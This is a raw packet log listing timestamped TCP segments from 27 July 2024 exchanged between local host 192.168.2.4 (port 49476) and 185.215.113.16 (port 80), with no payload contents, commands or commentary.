Jul 27, 2024 05:39:09.293318987 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.293337107 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.293351889 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.293355942 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.293384075 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.293390989 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.293416977 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.293456078 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.326173067 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326271057 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326302052 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326348066 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.326354027 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326379061 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.326387882 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326401949 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.326420069 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326427937 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.326452971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326457977 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.326489925 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.326500893 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326539993 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.326549053 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326582909 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326591969 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.326616049 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326622009 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.326663017 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326709032 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.326711893 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326745033 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326776981 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326787949 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.326818943 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.326827049 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326874971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326905012 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326917887 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.326937914 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326941967 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.326968908 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.326976061 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.327001095 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.327009916 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.327033043 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.327039957 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.327064037 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.327071905 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.327095985 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.327104092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.327127934 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.327135086 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.327158928 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.327166080 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.327189922 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.327197075 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.327222109 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.327254057 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.327258110 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.327301979 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.327353001 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.373286963 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.373483896 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.373517036 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.373548031 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.373555899 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.373579979 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.373599052 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.373611927 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.373641968 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.373646975 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.373656034 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.375941992 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.375989914 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376005888 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376022100 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376039028 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376065969 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376070023 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376101971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376132011 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376140118 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376164913 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376197100 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376210928 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376233101 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376245022 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376276970 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376307964 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376322031 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376343966 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376354933 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376386881 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376399040 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376430035 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376431942 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376465082 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376477003 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376508951 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376534939 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376580000 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376581907 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376617908 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376625061 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376650095 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376656055 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376682997 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376714945 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376744032 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376744986 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376776934 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376776934 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376805067 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376808882 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376841068 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376866102 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376872063 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376897097 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376904964 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376923084 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376936913 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.376952887 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376976013 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.376985073 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377032042 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377037048 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377063990 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377091885 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377096891 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377110004 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377130032 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377160072 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377187014 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377191067 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377207041 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377234936 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377239943 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377274990 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377305031 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377311945 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377324104 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377401114 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377408028 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377444029 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377484083 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377490997 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377537012 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377568960 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377578020 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377599955 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377608061 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377631903 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377640963 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377670050 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377681017 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377712965 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377743959 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377753019 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377780914 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377791882 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377825975 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377832890 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377856970 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377865076 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377887964 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377897978 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377919912 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377927065 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377948999 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377964973 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.377979994 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.377994061 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.378012896 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.378019094 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.378043890 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.378051043 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.378076077 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.378083944 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.378107071 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.378115892 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.378139973 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.378148079 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.378171921 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.378181934 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.378202915 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.378235102 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.378245115 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.378267050 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.378277063 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.378298998 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.378308058 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.378331900 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.378362894 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.378371954 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.378397942 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.378433943 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.378443956 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.378467083 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.378509998 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.384377956 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.384432077 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.384464025 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.384500980 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.384531021 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.384532928 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.384578943 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.384586096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.384618044 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.384628057 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.384649038 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.384656906 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.388720036 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.416762114 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.416814089 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.416861057 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.416893959 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.416903019 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.416943073 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.416949987 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.416975021 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.416986942 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417006016 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417020082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417045116 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417052031 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417079926 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417123079 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417129040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417176008 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417207003 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417220116 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417238951 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417252064 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417269945 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417283058 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417313099 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417325020 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417366982 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417371035 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417402029 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417411089 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417440891 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417448997 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417480946 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417510033 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417521954 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417541981 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417553902 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417572021 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417586088 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417603016 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417613983 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417633057 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417642117 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417665005 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417684078 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417696953 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417714119 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417728901 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417737007 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417759895 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417768002 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417792082 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417799950 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417824984 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.417833090 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.417864084 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.463804960 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.463836908 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.463884115 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.463913918 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.463944912 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.463953972 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.463975906 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.464009047 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.464116096 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.464116096 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.464683056 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.466703892 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.466785908 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.466856956 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.466907978 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.466955900 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.466968060 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467001915 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467014074 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467050076 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467080116 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467107058 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467111111 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467137098 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467144012 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467192888 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467231989 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467238903 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467253923 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467253923 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467273951 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467327118 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467345953 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467361927 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467389107 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467417955 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467427015 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467447042 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467467070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467489004 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467499971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467529058 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467546940 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467562914 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467578888 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467607975 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467624903 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467637062 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467658043 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467684984 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467705011 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467706919 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467736959 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467758894 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467783928 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467788935 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467814922 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467834949 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467848063 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467880011 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467900991 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467926979 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467937946 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.467958927 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.467979908 CEST	49476	80	192.168.2.4	185.215.113.16
